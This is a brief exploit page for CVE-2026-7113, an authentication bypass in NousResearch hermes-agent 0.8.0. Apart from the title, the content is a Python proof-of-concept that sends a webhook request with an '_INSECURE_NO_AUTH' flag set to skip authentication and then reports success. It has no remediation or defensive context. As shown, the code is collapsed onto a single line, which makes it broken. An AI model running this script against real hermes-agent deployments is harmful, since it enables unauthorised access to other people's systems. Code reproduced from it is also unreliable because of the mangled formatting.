CVE-2026-7113：NousResearch hermes-agent身份验证缺失漏洞

import requests # Exploit Title: NousResearch hermes-agent 0.8.0 - Authentication Bypass via _INSECURE_NO_AUTH # Description: This script demonstrates how to bypass authentication by setting the _INSECURE_NO_AUTH parameter. TARGET_URL = "http://target-ip:port/webhook-endpoint" PAYLOAD = { "data": "malicious_payload", "_INSECURE_NO_AUTH": "true" # Setting this parameter skips authentication } def exploit(): try: print("[*] Sending exploit request to %s" % TARGET_URL) response = requests.post(TARGET_URL, json=PAYLOAD, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print("[+] Response: %s" % response.text) else: print("[-] Exploit failed. Status code: %d" % response.status_code) except Exception as e: print("[-] Error: %s" % str(e)) if __name__ == "__main__": exploit()